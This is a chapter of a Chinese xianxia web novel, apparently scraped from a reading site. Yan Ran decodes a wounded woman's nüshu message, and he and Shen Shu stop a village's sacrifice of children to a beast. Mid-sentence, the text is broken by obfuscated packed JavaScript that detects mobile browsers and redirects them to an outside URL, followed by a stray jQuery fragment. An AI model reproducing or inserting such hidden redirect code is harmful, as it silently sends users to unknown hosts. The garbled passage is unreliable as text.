颜然蹲下来仔细地看。


    “看出什么了么？”沈殊在一旁问。


    他知道颜然对这个文字感兴趣，一路上研究了不少。


    颜然把自己之前拿到的柳叶书摊开，一边对照一边说：“这个字出现的频率，应该是‘我’。”


    “但是前面两个字……”


    “而这后面是数字，我知道了，前面两个字是——救救我，后面的数字则是坐标！”


    “那你知道这些数字的含义么？”


    “这比划最简单，应该是一，两个斜着的是二，三个是三，这个是七……”


    “以整个蛊族地界为限，天圆地方，划分经纬，应该是这里！”


    颜然在地面上画了一个简易方图，标上自己的方位，又标了坐标的位置！


    “走。”沈殊二话不说，立刻和颜然启程。


    驴子对他们来说就很慢了，现在是救人，自然越快越好，两人都用上了术法。


    “那里可能就是唢呐声响的来源。”


    然而，到达地点的时候，什么都没有，没有唢呐，没有声音，甚至没有飞鸟。


    颜然最后才发现，草里躺着一个人。


    一个女人。


    是那天写字的女人。


    “喂，醒醒。”


    “姑娘。”


    颜然拍了拍姑娘的脸，解开乾坤袋想喂她点丹药，人族不能贸然吃丹药，这对他们来说剂量巨大，因此只要扣下来一点丹药边角便好。


    没想到姑娘已经悠悠转醒了。


    她第一时间拉住颜然的袖子，“这位上仙，求，求求你……”


    “怎么了？你别激动，慢慢说。”


    竹林在姑娘身上投下斑驳的影。


    她说：“求你，救救，我的孩子……”


    “你的孩子？”


    她艰难地点了点头：“就是那天……偷吃猪肉的小孩，胎……胎里素……”


    “为什么？他们去哪了？为什么要坚持不吃肉？还有，你的字究竟是什么文？”


    姑娘脸色苍白，用尽力气道：“他们……是童男童女，用来祭祀……每年，族长都会组织人手，给凶兽献祭童男童女投河，因为是为保平安，没人阻拦……”


    “难道自己的孩子就这样献出去吗？！”


    姑娘轻轻点头：“今年你家，明年他家，大家……都已经……习惯了。”


    恐怕是麻木了，又因为贪生怕死，没人敢反抗。


    “这祭祀根本就是假的，骗人的，每年该死多少人，还是一样的死不是吗。”颜然知道事情的严重性，“那你的孩子去哪了，快跟我们说。”


    “那……那边……”女人抬起手指了一个方向，“还有……我写的文字，叫女书……”


    “公子，谢谢你……破解了我的书，救我的孩子……”


    女人说完，手臂便无力垂下，倒在了地上。


    颜然赶忙蹲下，在女人身上轻点穴道：“哥哥，我们走吧。”


    女人受了伤，失血过多，他已经封住她几处大脉，只能先去救孩子，回来再把她带走。希望她吉人天相。


    颜然和沈殊来到女人指的方向，只见蛊族中人走在竹林深处，敲锣打鼓，绑着两个小孩，音调诡异地喜庆，似乎他们不是要杀人，而是要庆祝。


    “住手。”


    族长和为首的几人听见熟悉的声音，惊讶地顿住了脚步。


    “仙师大人。”他们朝两人恭敬行礼。


    “把他们放了，回去。”


    “这……可是祭祀，是规矩。”


    “是啊，这是俺们寨子的规矩，多少年如一日，怎么能说破就破。”


    “仙师您懂个啥子，只有祭祀才能保平安啊！不然，我们这些干体力的，都得死！！”


    “凶兽是蛟蛇，已经死了。”颜然冷静地说。


    他扫过一众人，这么多彪形大汉，成年男人，平安却要几岁的孩子来守护，简直笑话。


    “死了……也得祭！谁知道还有没有别的凶兽！神会降罪我们的！”


    “冥顽不灵。”沈殊冷道。


    颜然拉住了他：“你们说祭祀保平安，请问，这一年里，死了多少人？”


    “这……每年都不多不少，一百个。”


    “死了这么多人，平安了吗？”颜然严厉质问道。


    “这……”


    “根本就没有，而且，恐怕你们不让孩子吃肉，就是因为早知道他们要被献祭，被献祭的人吃好吃的是浪费，对吧？各位长老？”


    “这……”族长和族老们色变，有一种被戳中心事的尴尬。


    “那又怎样？格老子滴，祭品还能吃好的吗？他们吃好的我们吃什么？”


    “这些孩子，根本没有被当人。”颜然看向被绑着的两个孩子，充满了同情，“今天是他们，明日就是你们的孩子，子子孙孙没有尽头。今天你们沉默，甚至默许支持，明天就是杀害自己孩子的帮凶！”


    “各位，你们扪心自问，成人的性命真的要用孩子来守护吗？何况，我说了，凶兽已经没了！”


    “真、真没了？”这些穿着干活装束的男人开始动摇，有人问。


    “千真万确。”


    “不会再回来了？”


    “不会。”


    都被哥哥碎成渣了，妖丹都不剩，还怎么回来。


    “不是我们不信，以前也有捉妖的道士说过同样的话……结果……”


    “我向你们保证，我亲眼看见的。”


    仙师和道士还是不一样，众人对视一眼，纷纷撂下挑子：“多谢仙师！”


    那族长满脸笑意拱手：“如此，今年的祭祀就放弃了，多谢仙师！”


    “多谢仙师！”


    众人纷纷跪下，感激行礼。


    “不客气，回吧。”


    蛊族的人热情地把他们在寨中留了一日。


    入夜，有蝉鸣响在林中，月亮爬上山坡，天空呈现一种幽蓝。


    颜然躺在竹板床上，心绪复杂。


    “我睡不着。”


    沈殊躺在另一张床上：“那就出去看看？”


    “走。”


    颜然说完，却没有动。


    原因无他，太懒……懒得动。


    沈殊陪他躺着，两人安静听着窗外风吹竹叶的沙沙声。


    忽然，一点动静打破了这风声。


    那是一种很轻的脚步，人很多。


    颜然和沈殊站起来，打开门。


    只见，外面站着许多女人，老人，和孩子。


    为首的祭


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147212|164453||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    祀大人和颜然救过的那个女人。


    女人手里揽着孩子，正是差点被当做祭品扔进海里的小男孩。


    他们一起，双手并在胸前，轻轻屈膝福身，向颜然和沈殊行了很郑重，发自内心感激的礼。


    “颜然公子，沈公子。”


    女人抬起头，眼里闪着泪光：“真的多谢，你们救了我的孩子笨儿，我们无以为报。”


    “还有，我的孩子雪儿。”


    “还有我们未来的孩子。”


    “这是我们的小小心意，请您收下。”


    女人们纷纷拿出扇子，竹简，团扇，书卷等物，无一例外地，上面都写着工整的女书。


    女书娟秀漂亮，有一种富含韵律的美。


    颜然有些感动：“所以，在男人的压迫下，你们就靠这个彼此传情，诉说痛苦？”


    “是的，这是属于我们女人的汉字。我们都很珍惜。”


    “其实，部落里有许多陋习，女人也不得读书，认字，被选中的孩子必须去祭祀，被选中的家庭要无偿贡献祭品，女人们只能干些粗活，杂活，动辄打骂，过得很苦。”


    “女书是我们的寄托，也是生活中唯一的光亮。”


    “所以，还请公子收下。”


    “好，这些，我一定会好好珍藏。”


    颜然看向为首的祭祀，还记得，第一次来，祭祀满脸麻木地看着他们打孩子，训斥写字的女人赶紧回去干活，但现在看来，祭祀的女书写的最好，说不定这女书大部分就是祭祀编纂的。


    她不像表面那样维护族长和长老们的权威？


    “我懂了，其实你一直在保护她们。”颜然说。


    暗中保护，何尝不是一种保护呢。


    祭祀给了颜然一个盒子：“两位小公子……将来若是和蛊有关的事，可以打开盒子看看。”


    颜然被她说的一头雾水，但还是接过盒子收下了：“多谢，我收下了。”


    还好，她们给的都不是金银之类的贵重物品，而是书画，解药之类的精神财富，颜然也很喜欢这样的礼物。


    告别了这群坚韧的女人们，颜然和沈殊才回到房间，一夜好梦。


    第二天醒来，颜然发现自己竟然躺在沈殊的床上，睁眼就看到沈殊那张漂亮的脸，还有，自己竟然枕着他的手臂。


    更过分的是，自己正盖着哥哥的被子，哥哥什么也没盖……


    看到自己醒来，正拄着手心看着自己。


    颜然一瞬间从惊讶，不知所措到脸红。


    沈殊眉眼轻轻地绽开，笑了几分。


    “你，你笑什么？”颜然有些不好意思，但大胆地搂住沈殊的脖子。


    “没什么，只是，昨夜有只小猫一直说冷，自己就跑我床上来了。”


    啊？是这样吗？


    颜然的脸更红了，我怎么不记得……


    不过，以沈殊哥哥的个性，是不会说谎的，更不会做出半夜三更把自己从另一张床上抱过来这样的事。


    那就是真的了。


    不过……


    “我，我才不是小猫，我是小狐狸。”


    颜然低头，露出一双青色的小狐狸耳朵。


    耳朵毛茸茸的，蹭着沈殊的下巴。


    似乎在说，你快摸摸我呀。